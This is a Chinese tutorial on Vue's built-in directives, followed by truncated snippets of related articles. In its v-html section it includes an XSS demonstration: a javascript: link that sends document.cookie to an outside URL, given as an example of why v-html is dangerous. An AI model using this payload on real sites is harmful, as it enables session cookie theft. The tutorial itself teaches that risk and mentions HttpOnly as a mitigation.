Vue 内置指令梳理总结

2024-09-27 09:18:48

指令总结

v-bind：单向绑定解析表达式，可简写为 :xxx
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听,可简写为@
v-if：条件渲染（动态控制节点是否存在)
v-else：条件渲染（动态控制节点是否存在)
v-show：条件渲染(动态控制节点是否展示)

v-text

v-text 指令

1、作用：向其所在的节点中渲染文本内容
2、与插值语法的区别:v-text会替换掉节点中的内容，{{xx}}则不会

<div id="root">
    <h2>{{msg}}</h2>
    <h2 v-text="msg"></h2>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>

v-html

先简单演示下 v-html

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"<h3>Hello world</h3>"
        }
    })
</script>

cookie 简略图示

Chrome 查看 cookie

可以输入两个 cookie 值，然后在控制台可以拿到这些值

另外 Firefox 查看 cookie 位置

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
    <div v-html="msg2"></div>
    <div v-html="msg3"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"<h3>Hello world</h3>",
            msg2:"<a href=javascript:alert(1)>资源，速来</a>",
            msg3:'<a href=javascript:location.href="https://www.baidu.com?" rel="external nofollow" +document.cookie>资源，速来</a>'
        }
    })
</script>

点击跳转后就会拿到 cookie，所以存在一定安全问题

当然我们看百度的cookie，加上了 HttpOnly。HttpOnly 是包含在 http 返回头Set-Cookie 里面的一个附加的 flag，所以它是后端服务器对 cookie设置的一个附加的属性，在生成 cookie 时使用 HttpOnly 标志有助于减轻客户端脚本访问受保护 cookie 的风险（如果浏览器支持的话）

v-html 指令

1.作用：向指定节点中渲染包含html结构的内容

2.与插值语法的区别：

(1).v-html 会替换掉节点中所有的内容，{{xx}}则不会
(2).v-html 可以识别 html 结构

3.严重注意：v-html 有安全性问题!!!!

(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
(2).一定要在可信的内容上使用 v-html，永不要用在用户提交的内容上!

v-cloak

v-cloak指令（没有值） 1.本质是一个特殊属性，Vue 实例创建完毕并接管容器后，会删掉 v-cloak 属性 2.使用 css 配合 v-cloak 可以解决网速慢时页面展示出{{xxx}}的问题

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Vue初识</title>
    <style>
        /*选中标签中包含 v-cloak*/
        [v-cloak]{
            display: none;
        }
    </style>
</head>
<body>
<div id="root">
    <div v-cloak>{{msg}}</div>
    <!--如果引入了外部js，而且返回时间长，那么页面会闪现-->
    <script type="text/javascript" src="./js/vue.js"></script>
</div>
<!--这里标签内容只有在上边js加载完后才执行-->
<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>
</body>
</html>

v-once

v-once 指令 1.v-once所在节点在初次动态渲染后，就视为静态内容了 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

<div id="root">
    <h2 v-once>n的初始值：{{n}}</h2>
    <h2>n的当前值：{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            n:1![](https://img-blog.csdnimg.cn/8b0057d61e9b43848788b3c01f712058.gif#pic_center)

        }
    })
</script>

v-pre

v-pre指令 1.跳过其所在节点的编译过程 2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 v-pre>n的当前值：{{n}}</h2>
    <h2>n的当前值：{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //创建vue实例
    new Vue({
        el: "#root",
        data: {
            n:1
        }
    })
</script>

到此这篇关于Vue 内置指令梳理总结的文章就介绍到这了,更多相关Vue 内置指令内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们！

vue内置指令详解

指令 (Directives) 是带有 v- 前缀的特殊属性, 职责是,当表达式的值改变时,将其产生的连带影响,响应式地作用于 DOM. 内置指令 1.v-bind:响应并更新DOM特性:例如:v-bind:href v-bind:class v-bind:title 等等主要用法是绑定属性,动态更新HTML元素上的属性: <a v-bind:href="url" rel="external nofollow" rel="external n
Vue 通过自定义指令回顾v-内置指令(小结)

Vue.js 的各种指令(Directives)更加方便我们去数据驱动 DOM,例如 v-bind.v-on.v-model.v-if.v-for.v-once 等内置指令,这些指令的职责就是当表达式改变时将某些行为应用到 DOM 上,尽量不去操作增删改 DOM.通过了解如何去自定义指令,可以想象内置指令是如何完成的. 内置指令指令名称描述使用 v-model 绑定数据 <\input v-model="message"> v-text 输出文本,不能解析标签 <
Vue之常用的内置指令详解

<body> <div id="root"> <h1 v-pre>好好学习</h1> <h1>{{name}}</h1> <h1 v-text="name"></h1> <h2 v-html="str"></h2> <h2 v-once>初始化时n的值是:{{n}}</h2> <h2>当前的值
Vue 内置指令梳理总结

目录指令总结 v-text v-html v-cloak v-once v-pre 指令总结 v-bind:单向绑定解析表达式,可简写为 :xxx v-model:双向数据绑定 v-for:遍历数组/对象/字符串 v-on:绑定事件监听,可简写为@ v-if:条件渲染(动态控制节点是否存在) v-else:条件渲染(动态控制节点是否存在) v-show:条件渲染(动态控制节点是否展示) v-text v-text 指令 1.作用:向其所在的节点中渲染文本内容 2.与插值语法的区别:v-text
AngularJS内置指令

指令,我将其理解为AngularJS操作HTML element的一种途径. 由于学习AngularJS的第一步就是写内置指令ng-app以指出该节点是应用的根节点,所以指令早已不陌生. 这篇日志简单记录了一些内置指令,先使用起来,再谈一些有趣的东西. 内置指令所有的内置指令的前缀都为ng,不建议自定义指令使用该前缀,以免冲突. 首先从一些常见的内置指令开始. 先列出一些关键的内置指令,顺便简单说说作用域的问题. ng-model 将表单控件和当前作用域的属性进行绑定,这么解释似乎也不太正确.
Angular4 中内置指令的基本用法

前言大家都知道ng内置了许多自定义的指令,这避免了我们自己去造轮子.同时,ng也提供了自定义指令的功能,可以让我们的页面元素标签更加实例化. 在这篇文章中,我们将分别列举每一个内置指令的用法,并提供一个例子作为演示.尽量用最少最简单的描述,让你在更快更准确地学会每一种内置指令的基本用法. ngFor 作用:像 for 循环一样,可以重复的从数组中取值并显示出来. 例子: // .ts this.userInfo = ['张三', '李四', '王五']; // .html <div class
Angular2内置指令NgFor和NgIf详解

在这一章节中,我们来学习如何使用Angular2来展示数据,以及如何使用它的内置指令NgFor和NgIf 首先要确保你有一个可以运行起来的Angular2的样例程序,最好就是我们上一章节中完成的那个QuickStart小项目或者你自己根据官网上面的步骤完成的QuickStart小项目,因为我们的讲解都是在那个基础上来进行的;然后让我们开始下面的快乐旅程吧. 因为我们的这一系列的文章都是使用的TypeScript所以在看下面的内容之前你最好可以看一下TypeScript或者ES6的类,它们的网址分
浅谈Vue内置component组件的应用场景

官方的说明渲染一个"元组件"为动态组件.依 is 的值,来决定哪个组件被渲染.  <component :is="componentId"></component> 具体可以官网文档中的动态组件内置的组件component 场景这里通过一个业务场景来阐述vue内置component组件的应用. 如图所示,这里展示经典注册页面,注册分为邮箱注册
vue内置组件component--通过is属性动态渲染组件操作

我就废话不多说了,大家看代码吧~ <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script src="https://cdn.jsdelivr.net/npm/vue"></script> <script src="https://cdn.bootcss.com
vue内置组件keep-alive事件动态缓存实例

在App.vue文件中配置 <keep-alive> <router-view v-if="$route.meta.keepAlive"></router-view> </keep-alive> <router-view v-if="!$route.meta.keepAlive"></router-view> 在路由中配置 { path: '/backstage', component: res
LRU算法在Vue内置组件keep-alive中的使用

vue的keep-alive内置组件的使用也是使用了改算法,源码如下: export default { name: "keep-alive", // 抽象组件属性 ,它在组件实例建立父子关系的时候会被忽略,发生在 initLifecycle 的过程中 abstract: true, props: { // 被缓存组件 include: patternTypes, // 不被缓存组件 exclude: patternTypes, // 指定缓存大小 max: [String, Numb
Vue 内置组件keep-alive的使用示例

目录一.keep-alive 用法使用示例: 1.缓存所有页面: 2.根据条件缓存部分页面 3.结合vue-router,缓存部分页面二.keep-alive 生命周期 1. activated 2. deactivated keep-alive 是Vue内置的组件之一, 主要用于保留组件状态或避免重新渲染. 作用在组件切换过程中将状态保留在内存中,防止重复渲染DOM,减少加载时间及性能消耗,提高用户体验. 一.keep-alive 用法 < keep-alive> 包裹动态组件